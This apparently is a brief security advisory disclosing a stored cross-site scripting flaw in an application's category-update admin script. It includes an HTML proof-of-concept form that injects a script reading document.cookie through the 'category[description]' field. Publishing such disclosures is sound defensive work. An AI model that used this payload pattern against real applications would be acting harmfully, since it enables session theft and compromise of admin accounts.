Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the admin/categories/update script 
to properly sanitize user-supplied input in "category[description]" variable. 
Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/categories/update/1"; method="post"  name="main" 
>

<input type="hidden" name="category[name]" value="General" />
<input type="hidden" name="category[description]" value='My 
Pictures"><script>alert(document.cookie)</script>' />
<input type="hidden" name="category[created_at(1i)]" value="2010" />
<input type="hidden" name="category[created_at(2i)]" value="7" />
<input type="hidden" name="category[created_at(3i)]" value="23" />
